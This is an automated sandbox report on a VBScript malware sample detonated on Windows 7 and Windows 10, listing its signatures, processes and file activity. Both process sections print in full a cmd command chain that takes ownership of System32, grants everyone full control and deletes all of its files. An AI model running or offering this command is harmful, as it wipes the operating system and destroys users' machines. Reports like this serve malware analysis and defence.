Malware Analysis Report

2024-11-16 12:47

Sample ID 240809-yz8fdaxepq
Target target.vbs
SHA256 766027c771d1c3b89370d1d7022ea3542fb561011e6251ab3dda0913ff3666df
Tags
discovery exploit
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

766027c771d1c3b89370d1d7022ea3542fb561011e6251ab3dda0913ff3666df

Threat Level: Likely malicious

The file target.vbs was found to be: Likely malicious.

Malicious Activity Summary

discovery exploit

Manipulates Digital Signatures

Possible privilege escalation attempt

Checks computer location settings

Modifies file permissions

Drops file in System32 directory

Modifies termsrv.dll

Enumerates physical storage devices

Views/modifies file attributes

Modifies registry class

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-09 20:14

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-09 20:14

Reported

2024-08-09 20:17

Platform

win7-20240704-en

Max time kernel

97s

Max time network

19s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"

Signatures

Manipulates Digital Signatures

Description Indicator Process Target
File opened for modification C:\windows\system32\wintrust.dll C:\Windows\system32\attrib.exe N/A

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\windows\system32\efsui.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\KBDINUK2.DLL C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\ksxbar.ax C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\mfpmp.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\MSMPEG2ENC.DLL C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\cscobj.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\csrr.rs C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\dot3gpclnt.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\newdev.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\oflc.rs C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\RmClient.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\sberes.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\sppobjs.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\C_20297.NLS C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\diantz.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\FXSSVC.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\wlansvc.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\ias.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\RPCNDFP.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\wksprt.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\pstorsvc.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\bcrypt.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\diskc.sys C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\lzhfldr2.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\more.com C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\NlsLexicons0414.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\api-ms-win-crt-convert-l1-1-0.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\ieUnatt.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\IPBusEnumProxy.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\Nlsdl.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\ntprint.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\scksp.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\bitsigd.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\C_21025.NLS C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\Mystify.scr C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\netplwiz.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\WLanConn.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\FWPUCLNT.DLL C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\irclass.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\korean.uce C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\gpscript.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\gpscript.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\msports.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\AzSqlExt.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\Bubbles.scr C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\CRPPresentation.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\msctfui.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\perfc009.dat C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\alg.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\dmrc.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\duser.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\netcfgx.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\OptionalFeatures.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\scext.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\FirewallAPI.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\iasads.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\KBDUZB.DLL C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\NlsLexicons081a.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\srrstr.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\TabbtnEx.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\WinSCard.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\FXSCOVER.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\hdwwiz.cpl C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\msinfo32.exe C:\Windows\system32\attrib.exe N/A

Modifies termsrv.dll

Description Indicator Process Target
File opened for modification C:\windows\system32\termsrv.dll C:\Windows\system32\attrib.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2488 wrote to memory of 2196 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2488 wrote to memory of 2196 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2488 wrote to memory of 2196 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2196 wrote to memory of 2380 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\attrib.exe
PID 2196 wrote to memory of 2380 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\attrib.exe
PID 2196 wrote to memory of 2380 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\attrib.exe
PID 2196 wrote to memory of 2188 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2196 wrote to memory of 2188 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2196 wrote to memory of 2188 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2196 wrote to memory of 2292 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2196 wrote to memory of 2292 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2196 wrote to memory of 2292 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k attrib -r -s -h c:\windows\system32\* && takeown /f c:\windows\system32\* && icacls c:\windows\system32\* /grant everyone:(F) && del /s /q c:\windows\system32\* && exit

C:\Windows\system32\attrib.exe

attrib -r -s -h c:\windows\system32\*

C:\Windows\system32\takeown.exe

takeown /f c:\windows\system32\*

C:\Windows\system32\icacls.exe

icacls c:\windows\system32\* /grant everyone:(F)

Network

N/A

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-09 20:14

Reported

2024-08-09 20:15

Platform

win10v2004-20240802-en

Max time kernel

67s

Max time network

66s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"

Signatures

Manipulates Digital Signatures

Description Indicator Process Target
File opened for modification C:\windows\system32\wintrust.dll C:\Windows\system32\attrib.exe N/A

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\windows\system32\MSAMRNBEncoder.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\pots.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\winspool.drv C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\srcore.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\srmlib.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\BarcodeProvisioningPlugin.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\MsCtfMonitor.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\msieftp.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\termmgr.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\wevtutil.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\win32appinventorycsp.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\Windows.Devices.Sensors.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\winipcsecproc.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\WMPhoto.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\dllhost.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\IdListen.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\KBDUR1.DLL C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\omadmprc.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\SpeechPal.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\wlanpref.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\AdmTmpl.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\AppVIntegration.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\cdpusersvc.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\msdtctm.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\MsftOemDllIgneous.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\AboutSettingsHandlers.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\kbd101c.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\UevAppMonitor.exe.config C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\agentactivationruntime.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\DAConn.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\rdrleakdiag.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\uReFS.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\AssignedAccessRuntime.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\C_1251.NLS C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\ReportingCSP.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\vccorlib140.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\WMNetMgr.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\slwga.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\Apphlpdm.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\EventViewer_EventDetails.xsl C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\Geolocation.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\mfh263enc.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\Microsoft.Uev.Office2010CustomActions.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\perfh010.dat C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\winrm.cmd C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\HeadsetSystemToastIcon.contrast-white.png C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\icu.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\KBDUSA.DLL C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\microsoft-windows-sleepstudy-events.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\ProximityCommon.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\w32time.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\C_10006.NLS C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\NOISE.DAT C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\uDWM.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\umpoext.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\wlandlg.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\gpscript.exe C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\mfc140fra.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\TokenBrokerUI.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\wiaservc.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\ETWCoreUIComponentsResources.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\mycomput.dll C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\PhoneSystemToastIcon.contrast-white.png C:\Windows\system32\attrib.exe N/A
File opened for modification C:\windows\system32\tracerpt.exe C:\Windows\system32\attrib.exe N/A

Modifies termsrv.dll

Description Indicator Process Target
File opened for modification C:\windows\system32\termsrv.dll C:\Windows\system32\attrib.exe N/A

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000_Classes\Local Settings\MuiCache C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 956 wrote to memory of 4308 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 956 wrote to memory of 4308 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 4308 wrote to memory of 3956 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\attrib.exe
PID 4308 wrote to memory of 3956 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\attrib.exe
PID 4308 wrote to memory of 4972 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 4308 wrote to memory of 4972 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 4308 wrote to memory of 3872 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 4308 wrote to memory of 3872 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k attrib -r -s -h c:\windows\system32\* && takeown /f c:\windows\system32\* && icacls c:\windows\system32\* /grant everyone:(F) && del /s /q c:\windows\system32\* && exit

C:\Windows\system32\attrib.exe

attrib -r -s -h c:\windows\system32\*

C:\Windows\system32\takeown.exe

takeown /f c:\windows\system32\*

C:\Windows\system32\icacls.exe

icacls c:\windows\system32\* /grant everyone:(F)

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe"

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe

"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca

Network

Country Destination Domain Proto
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp

Files

N/A